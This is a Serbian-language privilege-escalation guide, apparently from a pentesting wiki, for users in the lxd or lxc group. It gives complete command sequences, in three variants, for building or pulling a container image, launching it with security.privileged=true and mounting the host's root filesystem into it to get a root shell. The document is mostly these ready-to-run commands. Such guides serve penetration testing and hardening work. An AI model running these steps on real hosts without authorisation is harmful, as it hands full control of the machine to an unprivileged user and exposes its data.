Ako pripadate _**lxd**_ **ili** _**lxc**_ **grupi**, možete postati root.

## Eksploatacija bez interneta

### Metoda 1

Možete instalirati na vašem računaru ovaj alat za izgradnju distribucije: [https://github.com/lxc/distrobuilder ](https://github.com/lxc/distrobuilder)(pratite uputstva sa github-a):
```bash
sudo su
#Install requirements
sudo apt update
sudo apt install -y git golang-go debootstrap rsync gpg squashfs-tools
#Clone repo
git clone https://github.com/lxc/distrobuilder
#Make distrobuilder
cd distrobuilder
make
#Prepare the creation of alpine
mkdir -p $HOME/ContainerImages/alpine/
cd $HOME/ContainerImages/alpine/
wget https://raw.githubusercontent.com/lxc/lxc-ci/master/images/alpine.yaml
#Create the container
sudo $HOME/go/bin/distrobuilder build-lxd alpine.yaml -o image.release=3.18
```
Postavite datoteke **lxd.tar.xz** i **rootfs.squashfs**, dodajte sliku u repozitorijum i kreirajte kontejner:
```bash
lxc image import lxd.tar.xz rootfs.squashfs --alias alpine

# Check the image is there
lxc image list

# Create the container
lxc init alpine privesc -c security.privileged=true

# List containers
lxc list

lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true
```
{% hint style="danger" %}
Ako pronađete ovu grešku _**Greška: Nije pronađen skladišni prostor. Molimo kreirajte novi skladišni prostor**_\
Pokrenite **`lxd init`** i **ponovite** prethodni blok komandi
{% endhint %}

Na kraju možete izvršiti kontejner i dobiti root pristup:
```bash
lxc start privesc
lxc exec privesc /bin/sh
[email protected]:~# cd /mnt/root #Here is where the filesystem is mounted
```
### Metoda 2

Izgradite Alpine sliku i pokrenite je koristeći zastavicu `security.privileged=true`, prisiljavajući kontejner da interaguje kao root sa host fajl sistemom.
```bash
# build a simple alpine image
git clone https://github.com/saghul/lxd-alpine-builder
cd lxd-alpine-builder
sed -i 's,yaml_path="latest-stable/releases/$apk_arch/latest-releases.yaml",yaml_path="v3.8/releases/$apk_arch/latest-releases.yaml",' build-alpine
sudo ./build-alpine -a i686

# import the image
lxc image import ./alpine*.tar.gz --alias myimage # It's important doing this from YOUR HOME directory on the victim machine, or it might fail.

# before running the image, start and configure the lxd storage pool as default
lxd init

# run the image
lxc init myimage mycontainer -c security.privileged=true

# mount the /root into the image
lxc config device add mycontainer mydevice disk source=/ path=/mnt/root recursive=true

# interact with the container
lxc start mycontainer
lxc exec mycontainer /bin/sh
```

## Sa internetom

Možete pratiti [ove instrukcije](https://reboare.github.io/lxd/lxd-escape.html).
```bash
lxc init ubuntu:16.04 test -c security.privileged=true
lxc config device add test whatever disk source=/ path=/mnt/root recursive=true
lxc start test
lxc exec test bash
[email protected]:~# cd /mnt/root #Here is where the filesystem is mounted
```
